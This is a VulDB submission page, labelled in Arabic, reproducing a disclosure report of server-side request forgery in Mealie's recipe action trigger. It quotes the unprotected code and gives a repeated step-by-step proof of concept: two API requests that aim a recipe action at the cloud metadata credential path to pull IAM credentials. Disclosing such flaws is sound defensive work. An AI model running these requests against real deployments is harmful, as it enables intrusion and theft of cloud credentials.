إرسال #945043: mealie-recipes mealie commit 642c826 Server-Side Request Forgeryالمعلومات

عنوانmealie-recipes mealie commit 642c826 Server-Side Request Forgery
الوصفSSRF via Recipe Action Trigger Bypasses Safe Transport Controls ### Summary Any authenticated user can create a "recipe action" with an arbitrary HTTP URL and then trigger it, causing the Mealie server to make a POST request to that URL without the SSRF protections that apply everywhere else in the codebase. This allows access to internal services, cloud metadata endpoints (e.g., AWS IMDS at x.x.x.x), and private network hosts. ### Details Mealie uses a custom `AsyncSafeTransport` class (`mealie/pkgs/safehttp/transport.py`) that blocks requests to private and reserved IP ranges. This protection is applied to recipe scraping and image downloading. However, the recipe action trigger does not use this transport. `mealie/routes/households/controller_group_recipe_actions.py` line 82--103: ```python if recipe_action.action_type == GroupRecipeActionType.post.value: task_action = requests.post # ... bg_tasks.add_task( task_action, url=recipe_action.url, json=jsonable_encoder(payload.model_dump()), timeout=15, ) ``` `requests.post` is called with `recipe_action.url` directly. There is no IP-range check, no hostname allowlist, and no use of `AsyncSafeTransport`. The only validation on the URL is in the schema (`mealie/schema/household/group_recipe_action.py` line 25--31): ```python @field_validator("url") def validate_url_scheme(url: str) -> str: url_lower = url.lower().strip() if not (url_lower.startswith("http://") or url_lower.startswith("https://")): raise ValueError("URL must use http or https scheme") return url ``` This validator only ensures the scheme is `http` or `https`. It does not block private addresses such as `http://127.0.0.1/`, `http://x.x.x.x/`, or `http://192.168.0.1/`. Affected versions: commit 642c826 ### Steps to Reproduce ### PoC 1. Authenticate as any Mealie user (no admin required). 2. Create a recipe action targeting an internal endpoint: ``` POST /api/households/recipe-actions Authorization: Bearer <token> Content-Type: application/json { "action_type": "post", "title": "ssrf", "url": "http://x.x.x.x/latest/meta-data/iam/security-credentials/" } ``` 3. Note the `id` in the response. Find any recipe slug in the user's household. 4. Trigger the action: ``` POST /api/households/recipe-actions/<id>/trigger/<any-recipe-slug> Authorization: Bearer <token> Content-Type: application/json 1 ``` 5. The Mealie server makes a POST request to `http://x.x.x.x/...`. On AWS, this returns the IAM role name; a follow-up request retrieves temporary credentials. The response body is sent as the recipe's JSON payload and any response is silently discarded (fire-and-forget background task), but the network request does occur -- this can be confirmed via a controlled listener such as Burp Collaborator or a self-hosted HTTP server. ### Impact Any authenticated Mealie user can direct the server to make HTTP POST requests to arbitrary internal or external hosts, including: - Cloud metadata services (AWS IMDS, GCP metadata server, Azure IMDS) to retrieve IAM credentials and instance identity. - Internal administrative interfaces not exposed to the public internet. - Other services reachable from the Mealie server's network that accept POST requests. The impact is especially severe in cloud deployments where metadata endpoints return short-lived IAM credentials. ### Please provide relevant logs - ### Mealie Version _No response_ ### Deployment Docker (Linux) ### Additional Deployment Details ### PoC 1. Authenticate as any Mealie user (no admin required). 2. Create a recipe action targeting an internal endpoint: ``` POST /api/households/recipe-actions Authorization: Bearer <token> Content-Type: application/json { "action_type": "post", "title": "ssrf", "url": "http://x.x.x.x/latest/meta-data/iam/security-credentials/" } ``` 3. Note the `id` in the response. Find any recipe slug in the user's household. 4. Trigger the action: ``` POST /api/households/recipe-actions/<id>/trigger/<any-recipe-slug> Authorization: Bearer <token> Content-Type: application/json 1 ``` 5. The Mealie server makes a POST request to `http://x.x.x.x/...`. On AWS, this returns the IAM role name; a follow-up request retrieves temporary credentials. The response body is sent as the recipe's JSON payload and any response is silently discarded (fire-and-forget background task), but the network request does occur -- this can be confirmed via a controlled listener such as Burp Collaborator or a self-hosted HTTP server. ### Impact Any authenticated Mealie user can direct the server to make HTTP POST requests to arbitrary internal or external hosts, including: - Cloud metadata services (AWS IMDS, GCP metadata server, Azure IMDS) to retrieve IAM credentials and instance identity. - Internal administrative interfaces not exposed to the public internet. - Other services reachable from the Mealie server's network that accept POST requests. The impact is especially severe in cloud deployments where metadata endpoints return short-lived IAM credentials.
المصدر⚠️ https://github.com/mealie-recipes/mealie/issues/7831
المستخدم
 geochen (UID 78995)
ارسال24/08/2026 06:32 PM (27 أيام منذ)
الاعتدال19/09/2026 07:08 PM (26 days later)
الحالةتمت الموافقة
إدخال VulDB407957 [mealie-recipes Mealie حتى 3.25.1 Recipe Action Trigger controller_group_recipe_actions.py payload.model_dump url تجاوز الصلاحيات]
النقاط20

Want to know what is going to be exploited?

We predict KEV entries!